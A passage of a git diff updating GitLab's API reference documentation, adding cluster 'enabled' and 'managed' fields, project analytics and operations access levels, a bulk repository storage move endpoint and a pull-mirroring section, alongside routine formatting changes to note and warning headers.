+| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` |
+| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster. Defaults to `true` |
+| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API |
+| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes |
+| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
+| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project |
+| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. |
+| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** |
Example request:
@@ -210,6 +214,8 @@ Example response:
"id":24,
"name":"cluster-5",
"created_at":"2019-01-03T21:53:40.610Z",
+ "managed": true,
+ "enabled": true,
"provider_type":"user",
"platform_type":"kubernetes",
"environment_scope":"*",
@@ -273,20 +279,22 @@ PUT /projects/:id/clusters/:cluster_id
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer | yes | The ID of the project owned by the authenticated user |
-| `cluster_id` | integer | yes | The ID of the cluster |
-| `name` | string | no | The name of the cluster |
-| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
-| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
-| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API |
-| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes |
-| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
-| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project |
-| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** |
-
-NOTE: **Note:**
+| Attribute | Type | Required | Description |
+| ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ |
+| `id` | integer | yes | The ID of the project owned by the authenticated user |
+| `cluster_id` | integer | yes | The ID of the cluster |
+| `name` | string | no | The name of the cluster |
+| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
+| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
+| `enabled` | boolean | no | Determines if cluster is active or not |
+| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster |
+| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API |
+| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes |
+| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
+| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project |
+| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** |
+
+NOTE:
`name`, `api_url`, `ca_cert` and `token` can only be updated if the cluster was added
through the ["Add existing Kubernetes cluster"](../user/project/clusters/add_remove_clusters.md#add-existing-cluster) option or
through the ["Add existing cluster to project"](#add-existing-cluster-to-project) endpoint.
@@ -307,6 +315,8 @@ Example response:
"name":"new-cluster-name",
"domain":"new-domain.com",
"created_at":"2019-01-03T21:53:40.610Z",
+ "managed": true,
+ "enabled": true,
"provider_type":"user",
"platform_type":"kubernetes",
"environment_scope":"*",
@@ -380,10 +390,10 @@ DELETE /projects/:id/clusters/:cluster_id
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer | yes | The ID of the project owned by the authenticated user |
-| `cluster_id` | integer | yes | The ID of the cluster |
+| Attribute | Type | Required | Description |
+| ------------ | ------- | -------- | ----------------------------------------------------- |
+| `id` | integer | yes | The ID of the project owned by the authenticated user |
+| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md
index 5c631d2f084..c5799a63c5c 100644
--- a/doc/api/project_import_export.md
+++ b/doc/api/project_import_export.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -49,7 +49,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
}
```
-NOTE: **Note:**
+NOTE:
The upload request will be sent with `Content-Type: application/gzip` header. Ensure that your pre-signed URL includes this as part of the signature.
## Export status
@@ -192,7 +192,7 @@ requests.post(url, headers=headers, data=data, files=files)
}
```
-NOTE: **Note:**
+NOTE:
The maximum import file size can be set by the Administrator, default is 50MB.
As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](settings.md#change-application-settings) or the [Admin UI](../user/admin_area/settings/account_and_limit_settings.md).
@@ -225,10 +225,10 @@ If the status is `failed`, `started` or `finished`, the `failed_relations` array
be populated with any occurrences of relations that failed to import either due to
unrecoverable errors or because retries were exhausted (a typical example are query timeouts.)
-NOTE: **Note:**
+NOTE:
An element's `id` field in `failed_relations` references the failure record, not the relation.
-NOTE: **Note:**
+NOTE:
The `failed_relations` array is currently capped to 100 items.
```json
diff --git a/doc/api/project_level_variables.md b/doc/api/project_level_variables.md
index cd1c24b756f..8f6b9b83ca3 100644
--- a/doc/api/project_level_variables.md
+++ b/doc/api/project_level_variables.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, api
---
diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md
index c1ba421e73e..07743a48654 100644
--- a/doc/api/project_repository_storage_moves.md
+++ b/doc/api/project_repository_storage_moves.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -197,7 +197,7 @@ Example response:
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34119) in GitLab 13.1.
> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2618) in GitLab 13.3, original repository is automatically removed after successful move and integrity check.
-CAUTION: **Caution:**
+WARNING:
Before GitLab 13.3, a repository move worked more like a repository copy as the
original repository was not deleted from the original storage disk location and
had to be manually cleaned up.
@@ -239,3 +239,35 @@ Example response:
"created_at": "2020-05-07T04:27:17.016Z"
}
```
+
+## Schedule repository storage moves for all projects on a storage shard
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47142) in GitLab 13.7.
+
+Schedules repository storage moves for each project repository stored on the source storage shard.
+
+```plaintext
+POST /project_repository_storage_moves
+```
+
+Parameters:
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `source_storage_name` | string | yes | Name of the source storage shard. |
+| `destination_storage_name` | string | no | Name of the destination storage shard. The storage is selected automatically if not provided. |
+
+Example request:
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+--data '{"source_storage_name":"default"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves"
+```
+
+Example response:
+
+```json
+{
+ "message": "202 Accepted"
+}
+```
diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md
index 7955050e716..d264e68e96a 100644
--- a/doc/api/project_snippets.md
+++ b/doc/api/project_snippets.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -20,7 +20,7 @@ Constants for snippet visibility levels are:
| `internal` | The snippet is visible for any logged in user except [external users](../user/permissions.md#external-users) |
| `public` | The snippet can be accessed without any authentication |
-NOTE: **Note:**
+NOTE:
From July 2019, the `Internal` visibility setting is disabled for new projects, groups,
and snippets on GitLab.com. Existing projects, groups, and snippets using the `Internal`
visibility setting keep this setting. You can read more about the change in the
diff --git a/doc/api/project_statistics.md b/doc/api/project_statistics.md
index 344aeaa588f..984720ed56f 100644
--- a/doc/api/project_statistics.md
+++ b/doc/api/project_statistics.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/project_templates.md b/doc/api/project_templates.md
index 08f3aefb429..d75047d6cb3 100644
--- a/doc/api/project_templates.md
+++ b/doc/api/project_templates.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -21,8 +21,8 @@ It deprecates these endpoints, which will be removed for API version 5.
In addition to templates common to the entire instance, project-specific
templates are also available from this API endpoint.
-Support for [Group-level file templates](../user/group/index.md#group-file-templates)
-**(PREMIUM)** was [added](https://gitlab.com/gitlab-org/gitlab/-/issues/5987)
+Support for [Group-level file templates](../user/group/index.md#group-file-templates) **(PREMIUM)**
+was [added](https://gitlab.com/gitlab-org/gitlab/-/issues/5987)
in GitLab 11.5
## Get all templates of a particular type
diff --git a/doc/api/project_vulnerabilities.md b/doc/api/project_vulnerabilities.md
index 8ab02ed9ea6..1f6a1a58276 100644
--- a/doc/api/project_vulnerabilities.md
+++ b/doc/api/project_vulnerabilities.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -9,7 +9,7 @@ type: reference, api
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10242) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6.
-CAUTION: **Caution:**
+WARNING:
This API is in an alpha stage and considered unstable.
The response payload may be subject to change or breakage
across GitLab releases.
diff --git a/doc/api/projects.md b/doc/api/projects.md
index 1c162e0bbd3..b9f6448085d 100644
--- a/doc/api/projects.md
+++ b/doc/api/projects.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Projects API
@@ -49,7 +49,7 @@ GET /projects
| `last_activity_before` | datetime | **{dotted-circle}** No | Limit results to projects with last_activity before specified time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ |
| `membership` | boolean | **{dotted-circle}** No | Limit by projects that the current user is a member of. |
| `min_access_level` | integer | **{dotted-circle}** No | Limit by current user minimal [access level](members.md#valid-access-levels). |
-| `order_by` | string | **{dotted-circle}** No | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. `repository_size`, `storage_size`, or `wiki_size` fields are only allowed for admins. Default is `created_at`. |
+| `order_by` | string | **{dotted-circle}** No | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. `repository_size`, `storage_size`, `packages_size` or `wiki_size` fields are only allowed for admins. Default is `created_at`. |
| `owned` | boolean | **{dotted-circle}** No | Limit by projects explicitly owned by the current user. |
| `repository_checksum_failed` **(PREMIUM)** | boolean | **{dotted-circle}** No | Limit projects where the repository checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2). |
| `repository_storage` | string | **{dotted-circle}** No | Limit results to projects stored on `repository_storage`. _(admins only)_ |
@@ -295,7 +295,7 @@ When the user is authenticated and `simple` is not set this returns something li
]
```
-NOTE: **Note:**
+NOTE:
For users of GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/),
the `marked_for_deletion_at` attribute has been deprecated, and will be removed
in API v5 in favor of the `marked_for_deletion_on` attribute.
@@ -1045,6 +1045,7 @@ POST /projects
| Attribute | Type | Required | Description |
|-------------------------------------------------------------|---------|------------------------|-------------|
| `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. |
+| `analytics_access_level` | string | no | One of `disabled`, `private` or `enabled` |
| `approvals_before_merge` **(STARTER)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. |
| `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. |
| `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`). |
@@ -1077,6 +1078,7 @@ POST /projects
| `mirror` **(STARTER)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. |
| `name` | string | **{check-circle}** Yes (if path isn't provided) | The name of the new project. Equals path if not provided. |
| `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). |
+| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. |
| `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. |
| `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. |
@@ -1117,6 +1119,7 @@ POST /projects/user/:user_id
| Attribute | Type | Required | Description |
|-------------------------------------------------------------|---------|------------------------|-------------|
| `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. |
+| `analytics_access_level` | string | no | One of `disabled`, `private` or `enabled` |
| `approvals_before_merge` **(STARTER)** | integer | **{dotted-circle}** No | How many approvers should approve merge requests by default. |
| `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. |
| `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`). |
@@ -1147,6 +1150,7 @@ POST /projects/user/:user_id
| `mirror` **(STARTER)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. |
| `name` | string | **{check-circle}** Yes | The name of the new project. |
| `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). |
+| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. |
| `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. |
| `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. |
@@ -1188,6 +1192,7 @@ PUT /projects/:id
| Attribute | Type | Required | Description |
|-------------------------------------------------------------|----------------|------------------------|-------------|
| `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. |
+| `analytics_access_level` | string | no | One of `disabled`, `private` or `enabled` |
| `approvals_before_merge` **(STARTER)** | integer | **{dotted-circle}** No | How many approvers should approve merge request by default. |
| `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. |
| `auto_devops_deploy_strategy` | string | **{dotted-circle}** No | Auto Deploy strategy (`continuous`, `manual`, or `timed_incremental`). |
@@ -1222,6 +1227,7 @@ PUT /projects/:id
| `mirror_user_id` **(STARTER)** | integer | **{dotted-circle}** No | User responsible for all the activity surrounding a pull mirror event. _(admins only)_ |
| `mirror` **(STARTER)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. |
| `name` | string | **{dotted-circle}** No | The name of the project. |
+| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. |
| `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. |
| `only_mirror_protected_branches` **(STARTER)** | boolean | **{dotted-circle}** No | Only mirror protected branches. |
@@ -1862,7 +1868,7 @@ This endpoint:
actual deletion happens after the number of days specified in the
[default deletion delay](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
-CAUTION: **Warning:**
+WARNING:
The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935)
in GitLab 12.6 was changed to [Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382)
in GitLab 13.2, as discussed in [Enabling delayed project removal](../user/group/index.md#enabling-delayed-project-removal).
@@ -2371,6 +2377,7 @@ Example response:
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
+ "analytics_access_level": "enabled",
"wiki_access_level": "enabled",
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
@@ -2417,6 +2424,18 @@ Read more in the [Project import/export](project_import_export.md) documentation
Read more in the [Project members](members.md) documentation.
+## Configure pull mirroring for a project **(STARTER)**
+
+> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 11.2.
+
+Configure pull mirroring while [creating a new project](#create-project) or [updating an existing project](#edit-project) using the API if the remote repository is publicly accessible or via `username/password` authentication. In case your HTTP repository is not publicly accessible, you can add the authentication information to the URL: `https://username:password@gitlab.company.com/group/project.git`, where password is a [personal access token](../user/profile/personal_access_tokens.md) with the API scope enabled.
+
+The relevant API parameters to update are:
+
+- `import_url`: URL of remote repository being mirrored (with `username:password` if needed).
+- `mirror`: Enables pull mirroring on project when set to `true`.
+- `only_mirror_protected_branches`: Set to `true` for protected branches.
+
## Start the pull mirroring process for a Project **(STARTER)**
> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 10.3.
diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md
index 79b848bdf15..1dd15231dd8 100644
--- a/doc/api/protected_branches.md
+++ b/doc/api/protected_branches.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/protected_environments.md b/doc/api/protected_environments.md
index c42d6776341..487537cd3f5 100644
--- a/doc/api/protected_environments.md
+++ b/doc/api/protected_environments.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
diff --git a/doc/api/protected_tags.md b/doc/api/protected_tags.md
index 9f9c1ad8b5d..87bd7043121 100644
--- a/doc/api/protected_tags.md
+++ b/doc/api/protected_tags.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/releases/index.md b/doc/api/releases/index.md
index 7c65e9da74b..0cb11a2b586 100644
--- a/doc/api/releases/index.md
+++ b/doc/api/releases/index.md
@@ -1,13 +1,13 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Releases API
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) in GitLab 11.7.
-> - Using this API you can manipulate GitLab's [Release](../../user/project/releases/index.md) entries.
+> - Using this API you can manipulate GitLab [Release](../../user/project/releases/index.md) entries.
> - For manipulating links as a release asset, see [Release Links API](links.md).
> - Release Evidences were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26019) in GitLab 12.5.
@@ -365,8 +365,8 @@ POST /projects/:id/releases
| `ref` | string | yes, if `tag_name` doesn't exist | If a tag specified in `tag_name` doesn't exist, the release will be created from `ref` and tagged with `tag_name`. It can be a commit SHA, another tag name, or a branch name. |
| `milestones` | array of string | no | The title of each milestone the release is associated with. [GitLab Premium](https://about.gitlab.com/pricing/) customers can specify group milestones. |
| `assets:links` | array of hash | no | An array of assets links. |
-| `assets:links:name`| string | required by: `assets:links` | The name of the link. |
-| `assets:links:url` | string | required by: `assets:links` | The URL of the link. |
+| `assets:links:name`| string | required by: `assets:links` | The name of the link. Link names must be unique within the release. |
+| `assets:links:url` | string | required by: `assets:links` | The URL of the link. Link URLs must be unique within the release. |
| `assets:links:filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/index.md#permanent-links-to-release-assets).
| `assets:links:link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`.
| `released_at` | datetime | no | The date when the release will be/was ready. Defaults to the current time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). |
@@ -376,7 +376,7 @@ Example request:
```shell
curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: gDybLx3yrUK_HLp3qPjS" \
--data '{ "name": "New release", "tag_name": "v0.3", "description": "Super nice release", "milestones": ["v1.0", "v1.0-rc"], "assets": { "links": [{ "name": "hoge", "url": "https://google.com", "filepath": "/binaries/linux-amd64", "link_type":"other" }] } }' \
- --request POST https://gitlab.example.com/api/v4/projects/24/releases
+ --request POST "https://gitlab.example.com/api/v4/projects/24/releases"
```
Example response:
diff --git a/doc/api/releases/links.md b/doc/api/releases/links.md
index 2b33f6a4dc7..88ce3f6ccb4 100644
--- a/doc/api/releases/links.md
+++ b/doc/api/releases/links.md
@@ -1,14 +1,14 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Release links API
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) in GitLab 11.7.
-Using this API you can manipulate GitLab's [Release](../../user/project/releases/index.md) links. For manipulating other Release assets, see [Release API](index.md).
+Using this API you can manipulate GitLab [Release](../../user/project/releases/index.md) links. For manipulating other Release assets, see [Release API](index.md).
GitLab supports links to `http`, `https`, and `ftp` assets.
## Get links
@@ -91,14 +91,14 @@ Create an asset as a link from a Release.
POST /projects/:id/releases/:tag_name/assets/links
```
-| Attribute | Type | Required | Description |
-| ------------- | -------------- | -------- | --------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
-| `tag_name` | string | yes | The tag associated with the Release. |
-| `name` | string | yes | The name of the link. |
-| `url` | string | yes | The URL of the link. |
-| `filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/index.md#permanent-links-to-release-assets).
-| `link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. |
+| Attribute | Type | Required | Description |
+| ------------- | -------------- | -------- | ---------------------------------------------------------------------------------------------------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `tag_name` | string | yes | The tag associated with the Release. |
+| `name` | string | yes | The name of the link. Link names must be unique within the release. |
+| `url` | string | yes | The URL of the link. Link URLs must be unique within the release. |
+| `filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/index.md#permanent-links-to-release-assets). |
+| `link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. |
Example request:
@@ -142,7 +142,7 @@ PUT /projects/:id/releases/:tag_name/assets/links/:link_id
| `filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/index.md#permanent-links-to-release-assets).
| `link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. |
-NOTE: **Note:**
+NOTE:
You have to specify at least one of `name` or `url`
Example request:
diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md
index 605284caf06..c40aed534d5 100644
--- a/doc/api/remote_mirrors.md
+++ b/doc/api/remote_mirrors.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -47,7 +47,7 @@ Example response:
]
```
-NOTE: **Note:**
+NOTE:
For security reasons, the `url` attribute will always be scrubbed of username
and password information.
diff --git a/doc/api/repositories.md b/doc/api/repositories.md
index e880c2d95e1..efdf010e072 100644
--- a/doc/api/repositories.md
+++ b/doc/api/repositories.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -202,7 +202,7 @@ authentication if the repository is publicly accessible.
GET /projects/:id/repository/contributors
```
-CAUTION: **Deprecation:**
+WARNING:
The `additions` and `deletions` attributes are deprecated [as of GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39653) because they [always return `0`](https://gitlab.com/gitlab-org/gitlab/-/issues/233119).
Parameters:
diff --git a/doc/api/repository_files.md b/doc/api/repository_files.md
index cc1f0aa970c..ce11e5a38b7 100644
--- a/doc/api/repository_files.md
+++ b/doc/api/repository_files.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -57,7 +57,7 @@ Parameters:
- `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb
- `ref` (required) - The name of branch, tag or commit
-NOTE: **Note:**
+NOTE:
`blob_id` is the blob SHA, see [repositories - Get a blob from repository](repositories.md#get-a-blob-from-repository)
In addition to the `GET` method, you can also use `HEAD` to get just file metadata.
@@ -132,7 +132,7 @@ Parameters:
- `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb
- `ref` (required) - The name of branch, tag or commit
-NOTE: **Note:**
+NOTE:
`HEAD` method return just file metadata as in [Get file from repository](repository_files.md#get-file-from-repository).
```shell
@@ -171,7 +171,7 @@ Parameters:
- `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb
- `ref` (required) - The name of branch, tag or commit
-NOTE: **Note:**
+NOTE:
Like [Get file from repository](repository_files.md#get-file-from-repository) you can use `HEAD` to get just file metadata.
## Create new file in repository
diff --git a/doc/api/repository_submodules.md b/doc/api/repository_submodules.md
index 77f64b178f0..9c59920df77 100644
--- a/doc/api/repository_submodules.md
+++ b/doc/api/repository_submodules.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/resource_iteration_events.md b/doc/api/resource_iteration_events.md
index 47f4d70fdf1..4c351308ae1 100644
--- a/doc/api/resource_iteration_events.md
+++ b/doc/api/resource_iteration_events.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Resource iteration events API **(STARTER)**
